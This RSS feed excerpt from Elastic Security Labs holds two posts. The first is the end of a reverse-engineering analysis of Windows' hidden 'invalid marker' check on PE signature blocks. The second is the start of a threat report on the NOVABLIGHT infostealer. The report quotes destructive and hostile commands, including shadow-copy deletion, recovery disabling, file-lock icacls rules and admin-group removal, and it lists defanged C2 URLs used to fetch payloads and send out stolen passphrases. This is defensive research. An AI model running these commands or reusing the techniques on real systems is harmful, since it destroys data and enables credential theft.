<p>This field is part of the <code>SIP_SUBJECTINFO</code> structure, which is <a href="https://learn.microsoft.com/en-us/windows/win32/api/mssip/ns-mssip-sip_subjectinfo">documented on MSDN</a> - but unfortunately, it didn’t help much in this case:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt011e96e5cf87b861/6a7c8a8533fa8a9f0e1fca84/image3.png" alt="SIP_SUBJECTINFO structure comment" title="SIP_SUBJECTINFO structure comment" /></p>
<p>To find where this field was being set, we worked backwards and identified a point where <code>dwReserved1</code> was still <code>0</code> - i.e., before the flag had been set. We placed a hardware breakpoint (on write) on the <code>dwReserved1</code> field and resumed execution. The breakpoint was hit in the <code>SIPObjectPE_::GetMessageFromFile</code> function:</p>
<pre><code>__int64 __fastcall SIPObjectPE_::GetMessageFromFile(
    SIPObjectPE_ *this,
    struct SIP_SUBJECTINFO_ *a2,
    struct _WIN_CERTIFICATE *a3,
    unsigned int a4,
    unsigned int *a5)
{
    __int64 v5; // rcx
    __int64 result; // rax
    DWORD v8; // [rsp+40h] [rbp+8h] BYREF

    v5 = *((_QWORD*)this + 1);
    v8 = 0;
    result = ImageGetCertificateDataEx(v5, a4, a3, a5, &amp;v8);
    if((_DWORD)result)
        a2-&gt;dwReserved1 = v8;

    return result;
}
</code></pre>
<p>This function calls the <code>ImageGetCertificateDataEx</code> API which is exported by <code>imagehlp.dll</code>. The value returned by the fifth parameter of this function is stored in <code>dwReserved1</code>. This value ultimately determines whether the PE is considered "malformed" in the manner we have been observing.</p>
<p>Unfortunately, <code>ImageGetCertificateDataEx</code> is undocumented on MSDN. However, an earlier variant, <code>ImageGetCertificateData</code>, <a href="https://learn.microsoft.com/en-us/windows/win32/api/imagehlp/nf-imagehlp-imagegetcertificatedata">is documented</a>:</p>
<pre><code>BOOL IMAGEAPI ImageGetCertificateData(
  [in]      HANDLE            FileHandle,
  [in]      DWORD             CertificateIndex,
  [out]     LPWIN_CERTIFICATE Certificate,
  [in, out] PDWORD            RequiredLength
);
</code></pre>
<p>This function extracts the contents of the <code>IMAGE_DIRECTORY_ENTRY_SECURITY</code> directory from the PE headers. Manual analysis of the <code>ImageGetCertificateDataEx</code> function showed that the first four parameters match those of <code>ImageGetCertificateData</code>, but with one additional output parameter at the end.</p>
<p>We wrote a simple test program that allows us to call this function and perform checks against the unknown fifth parameter:</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;
#include &lt;imagehlp.h&gt;

int main()
{
    HANDLE hFile = NULL;
    DWORD dwCertLength = 0;
    WIN_CERTIFICATE *pCertData = NULL;
    DWORD dwUnknown = 0;
    BOOL (WINAPI *pImageGetCertificateDataEx)(HANDLE FileHandle, DWORD CertificateIndex, LPWIN_CERTIFICATE Certificate, PDWORD RequiredLength, DWORD *pdwUnknown);

    // open target executable
    hFile = CreateFileA("C:\\users\\matthew\\sample-executable.exe", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        printf("Failed to open input file\n");
        return 1;
    }

    // locate ImageGetCertificateDataEx export in imagehlp.dll
    pImageGetCertificateDataEx = (BOOL(WINAPI*)(HANDLE,DWORD,LPWIN_CERTIFICATE,PDWORD,DWORD*))GetProcAddress(LoadLibraryA("imagehlp.dll"), "ImageGetCertificateDataEx");
    if(pImageGetCertificateDataEx == NULL)
    {
        printf("Failed to locate ImageGetCertificateDataEx\n");
        return 1;
    }

    // get required length
    dwCertLength = 0;
    if(pImageGetCertificateDataEx(hFile, 0, NULL, &amp;dwCertLength, &amp;dwUnknown) == 0)
    {
        if(GetLastError() != ERROR_INSUFFICIENT_BUFFER)
        {
            printf("ImageGetCertificateDataEx error (1)\n");
            return 1;
        }
    }

    // allocate data
    printf("Allocating %u bytes for certificate...\n", dwCertLength);
    pCertData = (WIN_CERTIFICATE*)malloc(dwCertLength);
    if(pCertData == NULL)
    {
        printf("Failed to allocate memory\n");
        return 1;
    }

    // read certificate data and dwUnknown flag
    if(pImageGetCertificateDataEx(hFile, 0, pCertData, &amp;dwCertLength, &amp;dwUnknown) == 0)
    {
        printf("ImageGetCertificateDataEx error (2)\n");
        return 1;
    }

    printf("Finished - dwUnknown: %u\n", dwUnknown);

    return 0;
}
</code></pre>
<p>Running this against a variety of executables confirmed our expectations: the unknown return value was <code>1</code> for our “broken” executable, and <code>0</code> for correctly signed binaries. This confirmed that the issue originated somewhere within the <code>ImageGetCertificateDataEx</code> function.</p>
<p>Further analysis of this function revealed that the unknown flag is being set by another internal function: <code>IsBufferCleanOfInvalidMarkers</code>.</p>
<pre><code>...
if(!IsBufferCleanOfInvalidMarkers(v25, v15, pdwUnknown))
{
    LastError = GetLastError();
    if(!pdwUnknown)
        goto LABEL_34;
}
...
</code></pre>
<p>After cleaning up the <code>IsBufferCleanOfInvalidMarkers</code> function, we observed the following:</p>
<pre><code>DWORD IsBufferCleanOfInvalidMarkers(BYTE *pData, DWORD dwLength, DWORD *pdwInvalidMarkerFound)
{
    if(!_InterlockedCompareExchange64(&amp;global_InvalidMarkerList, 0, 0))
        LoadInvalidMarkers();

    if(!RabinKarpFindPatternInBuffer(pData, dwLength, pdwInvalidMarkerFound))
        return 1;

    SetLastError(0x80096011); // TRUST_E_MALFORMED_SIGNATURE

    return 0;
}
</code></pre>
<p>This function loads a global list of "invalid markers" using <code>LoadInvalidMarkers</code>, if they are not already loaded. <code>imagehlp.dll</code> contains a hardcoded default list of markers, but also checks the registry for a user-defined list at the following path: </p>
<p><code>HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Wintrust\Config\PECertInvalidMarkers</code></p>
<p>This registry value does not appear to exist by default.</p>
<p>The function then performs a search across the entire PE signature data, looking for any of these markers. If a match is found, <code>pdwInvalidMarkerFound</code> is set to <code>1</code>, which maps directly to the <code>psSipSubjectInfo-&gt;dwReserved1</code> value mentioned earlier.</p>
<h3 id="dumpingtheinvalidmarkers">Dumping the invalid markers</h3>
<p>The markers are stored in an undocumented structure inside <code>imagehlp.dll</code>. After reverse-engineering the <code>RabinKarpFindPatternInBuffer</code> function noted above, we wrote a small tool to dump the entire list of markers:</p>
<pre><code>#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;

int main()
{
    HMODULE hModule = LoadLibraryA("imagehlp.dll");

    // hardcoded address - imagehlp.dll version:
    // 509ef25f9bac59ebf1c19ec141cb882e5c1a8cb61ac74a10a9f2bd43ed1f0585
    BYTE *pInvalidMarkerData = (BYTE*)hModule + 0xC4D8;

    BYTE *pEntryList = (BYTE*)*(DWORD64*)(pInvalidMarkerData + 20);
    DWORD dwEntryCount = *(DWORD*)pInvalidMarkerData;
    for(DWORD i = 0; i &lt; dwEntryCount; i++)
    {
        BYTE *pCurrEntry = pEntryList + (i * 18);
        BYTE bLength = *(BYTE*)(pCurrEntry + 9);
        BYTE *pString = (BYTE*)*(DWORD64*)(pCurrEntry + 10);
        for(DWORD ii = 0; ii &lt; bLength; ii++)
        {
            if(isprint(pString[ii]))
            {
                // printable character
                printf("%c", pString[ii]);
            }
            else
            {
                // non-printable character
                printf("\\x%02X", pString[ii]);
            }
        }
        printf("\n");
    }

    return 0;
}
</code></pre>
<p>This produced the following results:</p>
<pre><code>PK\x01\x02
PK\x05\x06
PK\x03\x04
PK\x07\x08
Rar!\x1A\x07\x00
z\xBC\xAF'\x1C
**ACE**
!&lt;arch&gt;\x0A
MSCF\x00\x00\x00\x00
\xEF\xBE\xAD\xDENull
Initializing Wise Installation Wizard
zlb\x1A
KGB_arch
KGB2\x00
KGB2\x01
ENC\x00
disk%i.pak
&gt;-\x1C\x0BxV4\x12
ISc(
Smart Install Maker
\xAE\x01NanoZip
;!@Install@
EGGA
ArC\x01
StuffIt!
-sqx-
PK\x09\x0A
"\x0B\x01\x0B
-lh0-
-lh1-
-lh2-
-lh3-
-lh4-
-lh5-
-lh6-
-lh7-
-lh8-
-lh9-
-lha-
-lhb-
-lhc-
-lhd-
-lhe-
-lzs-
-lz2-
-lz3-
-lz4-
-lz5-
-lz7-
-lz8-
&lt;#$@@$#&gt;
</code></pre>
<p>As expected, this appears to be a list of magic values pertaining to old installers and compressed archive formats. This aligns with the description of <a href="https://learn.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-098">MS13-098</a>, which hints towards certain installers being affected.</p>
<p>We suspected this was related to self-extracting executables. If an executable reads itself from disk and scans its own data for an embedded archive (e.g., a ZIP file), an attacker could potentially append malicious data to the signature section without invalidating the signature - since signature data cannot hash itself. This could potentially cause the vulnerable executable to locate the malicious data before the original data, especially if it scans backwards from the end of the file.</p>
<p>We later found an old <a href="https://recon.cx/2012/schedule/events/246.en.html">RECon talk from 2012 by Igor Glücksmann</a>, which describes this exact scenario and appears to confirm our hypothesis.</p>
<p>Microsoft's fix involved scanning the PE signature block for known byte patterns that could indicate this type of abuse.</p>
<h3 id="investigatingthefalsepositive">Investigating the false positive</h3>
<p>Upon further debugging, we discovered that the binary was being flagged due to the signature data containing the <code>EGGA</code> marker from the list above:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf9926f9db648aa9d/6a7c8a88e3a219518c999841/image1.png" alt="EGGA marker" title="EGGA marker" /></p>
<p>In the context of the list of markers above, the <code>EGGA</code> signature appears to relate to a specific header value used by an archive format called <a href="http://justsolve.archiveteam.org/wiki/EGG_(ALZip)">ALZip</a>. Our code does not make any use of this file format.</p>
<p>Microsoft’s heuristic treated the presence of <code>EGGA</code> as evidence that malicious archive data had been embedded in the PE signature. In practice, nothing of the sort was present. The signature block itself happened to include those four bytes as part of the hashed data.</p>
<p>Collisions like this are unusual, but page hashing (<code>/ph</code>) made it more likely. By expanding the size of the signature block, page hashing increases the surface area for coincidental matches and increases the likelihood of triggering the heuristic.</p>
<p>The binary didn’t contain any self-extracting routines, so the hit on <code>EGGA</code> was a false positive. In that context, the warning had no bearing on the file’s integrity. This meant it was safe to re-sign the file with <code>/rmc</code> to restore the expected validation.</p>
<h3 id="conclusion">Conclusion</h3>
<p>It is well known that additional data can be embedded in a PE file without breaking its signature by appending it to the security block. Even some <a href="https://learn.microsoft.com/en-us/archive/blogs/ieinternals/caveats-for-authenticode-code-signing">legitimate software products</a> take advantage of this to embed user-specific metadata into signed executables. However, we were not aware that Microsoft had implemented heuristics to detect specific malicious cases of this, even though they were introduced back in 2012.</p>
<p>The original error message was very vague, and we were unable to find any documentation or references online that helped explain the behavior. Even searching for the associated registry value after discovering it (<code>PECertInvalidMarkers</code>) yielded zero results.</p>
<p>What we uncovered is that Microsoft added heuristic scanning of signature blocks more than a decade ago to counter specific abuse cases. Those heuristics reside in a hardcoded list of “invalid markers,” many of which are tied to outdated installers and archive formats. Our binary happened to collide with one of those markers when signed with page hashing enabled, creating a validation failure with no clear documentation and no public references to the underlying registry key or detection logic.</p>
<p>The absence of online discussions regarding this failure mode, aside from a single unresolved <a href="https://developercommunity.visualstudio.com/t/malformed-digital-signature-ms13-098-1/235599">Visual Studio Developer Community post from 2018</a>, made the initial diagnosis difficult. By publishing this analysis, we want to provide a technical reference point for others who may encounter the same problem. In our case, resolving the issue required deep troubleshooting that few outside this space would normally need to exercise. For teams automating code signing, the key lesson is to integrate signature validation checks early and be aware that heuristic marker detection can lead to edge-case failures. </p>
<h2 id="additionalreferences">Additional references</h2>
<p>The author can be found on X at <a href="https://x.com/x86matthew">@x86matthew.</a></p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/malformed-authenticode-signature</link>
    <guid isPermaLink="false">malformed-authenticode-signature</guid>
    <category><![CDATA[Platform Internals]]></category>
    <dc:creator><![CDATA[Elastic Security Labs]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb961154e90bf9d3f/6a7c8a8c96b5a6179c875694/malformed-authenticode-signature.png" length="0" type="image/png"/>
    <pubDate>Thu, 04 Sep 2025 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[MaaS Appeal: An Infostealer Rises From The Ashes]]></title>
    <description><![CDATA[NOVABLIGHT is a NodeJS infostealer developed and sold as a MaaS offering; it is used primarily to steal credentials and compromise cryptowallets.]]></description>
    <content:encoded><![CDATA[<h2 id="novablightataglance">NOVABLIGHT at a glance</h2>
<p>NOVABLIGHT is a NodeJS-based Malware-as-a-Service (MaaS) information stealer developed and sold by a threat group that demonstrates French-language proficiency. This is apparent in their discussions and operational communications on their primary sales and support platforms, Telegram and Discord.</p>
<p>Based on our analysis of the latest released version of NOVABLIGHT, the following code snippet suggests that the Sordeal Group, the group behind <a href="https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/">Nova Sentinel and MALICORD</a>, is responsible for NOVABLIGHT as well.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt37339102b39e15dc/6a7c8a1751156a415b2bca27/image18.png" alt="Sordeal Group mentioned, followed by a link to the Telegram channel" title="Sordeal Group mentioned, followed by a link to the Telegram channel" /></p>
<h3 id="keytakeaways">Key takeaways</h3>
<ul>
<li>NOVABLIGHT is an infostealer described as an educational tool, though Telegram channel messages reveal sensitive information and unredacted screenshots.   </li>
<li>NOVABLIGHT licenses are valid for up to one year, and binaries can be generated via Telegram or Discord.  </li>
<li>Heavily obfuscated code with many capabilities.</li>
</ul>
<h2 id="discovery">Discovery</h2>
<p>Elastic Security Labs identified multiple campaigns leveraging fake video game installer downloads as an initial access lure for MaaS infections of internet users. In one example, the URL <code>http://gonefishe[.]com</code> prompted the user to download a binary and install a French-language version of a game with a name and description comparable to one recently released on Steam.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4b072a75692fe53a/6a7c8a19437e0f0f18dd570d/image37.png" alt="Landing page for http://gonefishe . com" title="Landing page for http://gonefishe . com" /></p>
<h2 id="distributionmonetizationandcommunity">Distribution, monetization, and community</h2>
<p>The group advertised and sold their product on various online platforms, previously Sellix and Sellpass and currently Billgang.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte0cbeff37104269c/6a7c8a1de88c65bb57005953/image27.png" alt="NOVABLIGHT’s product page on Billgang" title="NOVABLIGHT’s product page on Billgang" /></p>
<p>The group sells an API key, which expires between 1 and 12 months. This key can then be used to build an instance of NOVABLIGHT through a Telegram bot or through Discord.</p>
<p>The group promotes a referral program on their Discord channel with API keys as rewards.</p>
<p>Users get access to a dashboard hosted by the group that presents the information collected from victims. The following domains were identified, though others may exist:</p>
<ul>
<li><code>api.nova-blight[.]top</code>  </li>
<li><code>shadow.nova-blight[.]top</code>  </li>
<li><code>nova-blight[.]site</code>  </li>
<li><code>nova-blight[.]xyz</code>  </li>
<li><code>bamboulacity.nova-blight[.]xyz</code></li>
</ul>
<p>Some of the images used in the dashboard panel are hosted in GitHub repositories associated with different accounts, which helped expose more details about the group.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6571e4623ab4e742/6a7c8a1f1967ea674932a981/image30.png" alt="HTTP response from https://shadow.nova-blight .top found in VirusTotal" title="HTTP response from https://shadow.nova-blight .top found in VirusTotal" /> </p>
<p>The GitHub account <code>KSCHcuck1</code> is a pseudonym similar to that of the previous author of MALICORD, a free version of the earliest version of the stealer that was hosted on GitHub under the account <code>KSCH-58</code> (<a href="https://web.archive.org/web/20231216010712/https://github.com/KSCH-58">WEB ARCHIVE LINK</a>). The X account <code>@KSCH_dsc</code> also possessed similarities, and was actively advertising their "best stealer ever released" as recently as 2023.</p>
<p>The following GitHub accounts have been identified in relation to the group:</p>
<ul>
<li><a href="https://github.com/KSCHcuck1">https://github.com/KSCHcuck1</a>   </li>
<li><a href="https://github.com/CrackedProgramer412/caca">https://github.com/CrackedProgramer412/caca</a>  </li>
<li><a href="https://github.com/MYnva">https://github.com/MYnva</a>  </li>
<li><a href="https://github.com/404log">https://github.com/404log</a> (dead)</li>
</ul>
<p>Their public Telegram channel hosts tutorials and a community of users. In the following image capture, users are sharing screenshots of the build process.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta2ab3d69275b6d33/6a7c8a221967ea452532a985/image22.png" alt="User screenshots of building NOVABLIGHT" title="User screenshots of building NOVABLIGHT" /></p>
<p>Users of the infostealer are openly sharing images of luxury items and money transfers, which is notable because NOVABLIGHT is described as being solely for educational purposes.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt969376a3d5d98b9e/6a7c8a2580ee381e7060d23d/image23.png" alt="Image of phones a user of NOVABLIGHT claims to have purchased, shared via Telegram on May 15, 2025" title="Image of phones a user of NOVABLIGHT claims to have purchased, shared via Telegram on May 15, 2025" /></p>
<h2 id="novablightanalysis">NOVABLIGHT analysis</h2>
<p>NOVABLIGHT is a modular and feature-rich information stealer built on NodeJS with the Electron framework. Its capabilities go beyond simple credential theft, incorporating methods for data collection and exfiltration, sandbox detection, and heavy obfuscation.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8f9d162bc19d8dd3/6a7c8a28c2cc095b332434c9/image16.png" alt="VirusTotal depicting low detection rate of NOVABLIGHT" title="VirusTotal depicting low detection rate of NOVABLIGHT" /></p>
<p>A notable aspect of the malware's build process is its modular configuration. Although a customer can choose to disable specific features, the underlying code for those functions remains within the final payload; it is dormant and won’t be executed based on the build's configuration flags.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf57251e5e6374ba5/6a7c8a2bc2cc0923402434cd/image25.png" alt="Wallet clipper logic can either be executed or not, based on the config field swapWallet.active" title="Wallet clipper logic can either be executed or not, based on the config field swapWallet.active" /></p>
<p>Code snippets in this report are from a non-obfuscated version 2.0 <a href="https://www.virustotal.com/gui/file/abc5a9605010890d7514f239e3defbbccecaeaf4cc2e2b7d54cdaaed88dd3766">sample</a>, when implementation details match version 2.2 samples, or from our manually de-obfuscated code of a version 2.2 <a href="https://www.virustotal.com/gui/file/1a2fc6ee9c48f35cff500d7a95f5d919f644d0eeb2980f9cdad4762c42b94afc/detection">sample</a> when they differ.</p>
<h3 id="codestructure">Code structure</h3>
<p>From initial setup to data theft, the infostealer is organized into a clear, multi-stage pipeline managed by high-level "flow" controllers. The primary stages are:</p>
<ul>
<li><strong>flow/init:</strong> Pre-flight checks (running instances, admin privileges, internet connectivity), anti-analysis checks, system info enumeration, establish persistence, etc.  </li>
<li><strong>flow/injecting:</strong> Application injection and patching (Atomic, Mullvad, Discord, …)  </li>
<li><strong>flow/grabb</strong>: Data harvesting  </li>
<li><strong>flow/ClipBoard</strong>: Clipboard hijacking  </li>
<li><strong>flow/sending</strong>: Data exfiltration  </li>
<li><strong>flow/disable</strong>: System sabotage (disable Windows Defender, system anti-reset, broken Internet connectivity, …)  </li>
<li><strong>flow/cleaning:</strong> Post-exfiltration cleanup</li>
</ul>
<p>For more insights into the code structure, check out this GitHub <a href="https://gist.github.com/jiayuchann/b13ec30e72e69cb542e2e6d2e009c4a4">Gist</a>, which lists the direct dependencies for each of NOVABLIGHT’s core modules and execution flows.</p>
<h3 id="antidebugandsandboxdetection">Anti-debug and sandbox detection</h3>
<p>NOVABLIGHT incorporates multiple techniques to detect and evade analysis environments, combining environment fingerprinting with active countermeasures. These checks include:</p>
<ul>
<li>Detecting VM-related GPU names (vmware, virtualbox, qemu)</li>
<li>Checking for blacklisted usernames (sandbox, test, malware)</li>
<li>Identifying VM-specific driver files (balloon.sys, qemu-ga)</li>
<li>Checking for low screen resolution and lack of USB devices </li>
<li>Querying GitHub for blacklists of IPs, HWIDs, usernames, programs, organizations, GPU names, PC names, and Operating Systems</li>
<li>Actively killing known analysis and debugging tools found in a remote list</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd1636ae6aec6f805/6a7c8a2e2f00b2c7e0ef8f83/image2.png" alt="Anti-debug and anti-VM checks" title="Anti-debug and anti-VM checks" /></p>
<p>The blacklists are hosted on GitHub:</p>
<ul>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_ips.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_ips.json</a>  </li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_progr.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_progr.json</a>   </li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/refs/heads/main/json/blockedorg.json">https://raw.githubusercontent.com/Mynva/sub/refs/heads/main/json/blockedorg.json</a>  </li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_GPUTYPE.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_GPUTYPE.json</a>  </li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/nope.json">https://raw.githubusercontent.com/Mynva/sub/main/json/nope.json</a>  </li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_hwid.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_hwid.json</a>  </li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blockedpcname.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blockedpcname.json</a>  </li>
<li><a href="https://raw.githubusercontent.com/MYnva/sub/refs/heads/main/json/blockedOS.json">https://raw.githubusercontent.com/MYnva/sub/refs/heads/main/json/blockedOS.json</a> </li>
</ul>
<h3 id="disabledefenderattemptstodisabletaskmanager">Disable Defender &amp; attempts to disable Task Manager</h3>
<p>NOVABLIGHT attempts to disable Windows Defender and related Windows security features by downloading and executing a batch script, <a href="https://raw.githubusercontent.com/ZygoteCode/WinDefendManager/refs/heads/main/Resources/DisableWD.bat">DisableWD.bat</a>, from a public GitHub repository. </p>
<p>The malware claims to be capable of disabling the Task Manager, making it difficult for a non-technical user to identify and terminate the malicious program. It uses <code>setValues</code> from the <code>regedit-rs</code> package to set the <code>DisableTaskMgr</code> value to <code>1</code> under <code>HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System</code>. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt55c21e6173522004/6a7c8a31fc63ab26bc647073/image20.png" alt="Disable Task Manager through the registry" title="Disable Task Manager through the registry" /></p>
<p>However, looking at the <code>regedit-rs</code> <a href="https://github.com/Zagrios/regedit-rs/blob/4b7874eb6542cf162f62cf40719b44e69f086497/js-binding.js#L318">repo</a> (v1.0.3 to match), there are no exported functions named <code>setValues</code>, only <code>putValue</code>. This functionality may not work as intended.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt344590f99ad89f98/6a7c8a33c2cc09907b2434d1/image31.png" alt="Snippet of &lt;code&gt;js-binding.js&lt;/code&gt; from the &lt;code&gt;regedit-rs&lt;/code&gt; GitHub repo" title="Snippet of &lt;code&gt;js-binding.js&lt;/code&gt; from the &lt;code&gt;regedit-rs&lt;/code&gt; GitHub repo" /></p>
<h3 id="disableinternetaccess">Disable internet access</h3>
<p>To disrupt the victim's internet connection, the malware employs two distinct methods. The first involves persistently disabling the Wi-Fi adapter by repeatedly resetting it in a rapid loop, utilizing the external npm package <a href="https://www.npmjs.com/package/wifi-control">wifi-control</a> and its <a href="https://github.com/msolters/wifi-control-node/blob/13d02226a3e6b12b48ebd063af2e7e3c97ef0abe/src/wifi-control.coffee#L293">resetWiFi</a> function.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte28c72dd58b372be/6a7c8a36de231597e2fd1f36/image6.png" alt="Disable Wi-Fi adapter" title="Disable Wi-Fi adapter" /></p>
<p>The second method disables the primary “Ethernet” network adapter using the <code>netsh</code> command, running it every 5 seconds to disable re-enabling attempts.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte10eef63624743d4/6a7c8a385967e5505b5d764b/image5.png" alt="Disable network adapter named “Ethernet”" title="Disable network adapter named “Ethernet”" /></p>
<h3 id="defeatsystemrecovery">Defeat system recovery</h3>
<p>The malware can sabotage system recovery by disabling the Windows Recovery Environment (<code>reagentc /disable</code>) and deleting all Volume Shadow Copies (<code>vssadmin delete shadows /all</code>) when the <code>antireset</code> flag is enabled in the configuration.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt43dc9aeead27088d/6a7c8a3b4c4bfb43cecc79c3/image1.png" alt="Disable system restore" title="Disable system restore" /></p>
<h3 id="blockingfiledeletion">Blocking file deletion</h3>
<p>Another system sabotage function that might be apparent to the victim involves making the malware’s own executable file undeletable by modifying its security permissions through <code>icacls “${filePath}” /deny ${currentUser}:(DE,DC)</code>  where <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/icacls">DE denies delete rights and DC prevents deletion</a> via the parent folder and optionally creating a pop-up message box containing a “troll” message.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc8112ec8093c814c/6a7c8a3ebd2198606975238f/image11.png" alt="Block current user from deleting the malware executable" title="Block current user from deleting the malware executable" /></p>
<p>Before locking itself, it also executes a PowerShell command to remove the victim’s account from the following system groups: <code>Administrators</code>, <code>Power Users</code>, <code>Remote Desktop Users</code>, <code>Administrateurs</code>. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc2079c475375cf38/6a7c8a4005b7b5b386185ba1/image15.png" alt="Remove current user from Admin groups" title="Remove current user from Admin groups" /></p>
<h3 id="clipboardaddresssubstitution">Clipboard address substitution</h3>
<p>The malware implements a "clipper" module that actively monitors the clipboard of the machine for any Crypto or Paypal addresses and replaces them with addresses defined in the configuration, if the user who built the payload did not provide their own addresses, the malware defaults to a hardcoded set, presumably controlled by the developers to capture funds from their less experienced users.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6c9e33b841818ac2/6a7c8a4377b0345c573f96b9/image13.png" alt="Fallback addresses are used if not specified in the config" title="Fallback addresses are used if not specified in the config" /></p>
<h3 id="electronapplicationinjections">Electron application injections</h3>
<p>NOVABLIGHT can inject malicious code into several popular Electron-based applications. The payloads are dynamically fetched from the endpoint <code>https://api.nova-blight[.]top/injections/*targeted_application*/*some_key*</code>, targeting applications such as:</p>
<ul>
<li>Discord client  </li>
<li>Exodus wallet  </li>
<li>Mullvad VPN client  </li>
<li>Atomic wallet  </li>
<li>Mailspring email client</li>
</ul>
<p>We were able to retrieve all of the modules from a public GitHub <a href="https://github.com/CrackedProgramer412/caca/tree/main">repository</a>.</p>
<p>The injection implementation is a classic example of Electron App repacking: unpacking the ASAR file, rewriting any targeted source files, then repacking it. Looking at an example involving the Mullvad client, it first unpacks <code>Program Files\\Mullvad VPN\\resources\\app.asar</code> into a temporary directory, fetches a backdoored version of <code>account.js</code> from <code>https://api.nova-blight[.]top/injections/mullvad/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s</code>, overwrites the source file <code>account.js</code>, and finally repacks it. While it might still work for older versions of Mullvad such as <a href="https://github.com/mullvad/mullvadvpn-app/releases/tag/2025.4">2025.4</a>, this does not seem to work on the latest version of Mullvad.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt105d3cf5dfaac96e/6a7c8a469f525135d0664124/image17.png" alt="Repacking the Mullvad client" title="Repacking the Mullvad client" /></p>
<p>In a similar case for the Exodus client, the NOVABLIGHT developers modified the setPassphrase function in the main module of the Exodus application, with additional credential-stealing functionalities.<br />
This is what <a href="https://www.virustotal.com/gui/file/cf3a8cdb3fca4e9944dc90d13f2f4f2b4ae317955571d9132e97cc46a06f277b/detection"><code>main/index.js</code></a> looks like in a legitimate release of Exodus 25.28.4:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltac50ee5872a98a3c/6a7c8a49c2cc0929a22434de/image21.png" alt="Original logic of &lt;code&gt;main/index.js&lt;/code&gt; in the Exodus client" title="Original logic of &lt;code&gt;main/index.js&lt;/code&gt; in the Exodus client" /></p>
<p>In the trojanized <code>index.js</code>, user-entered passphrases are exfiltrated via configurable Discord webhooks and Telegram - using either the official Telegram API or a custom Telegram API proxy.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltae4c3d737977c319/6a7c8a4cbdcff0b08dc3d1e3/image8.png" alt="Trojanized &lt;code&gt;index.js&lt;/code&gt;" title="Trojanized &lt;code&gt;index.js&lt;/code&gt;" /></p>
<h3 id="chromesensitivedataextraction">Chrome sensitive data extraction</h3>
<p>For targeting Chromium-based browsers (Brave, Chrome, Edge) running on version 137, the malware downloads a zip file containing a Chrome data decryption tool from https://github.com/Hyutop/pandakmc-auto-vote/blob/main/bin.zip. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7287034b2d6c19b3/6a7c8a4fbd2198d477752393/image35.png" alt="Dynamically retrieving Chrome data decryption tool" title="Dynamically retrieving Chrome data decryption tool" /></p>
<p>The GitHub repository attempts to masquerade as a Minecraft voting management tool. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4ab8072bee225ad9/6a7c8a5151156ad3d82bca2d/image36.png" alt="GitHub repo with a fake README" title="GitHub repo with a fake README" /></p>
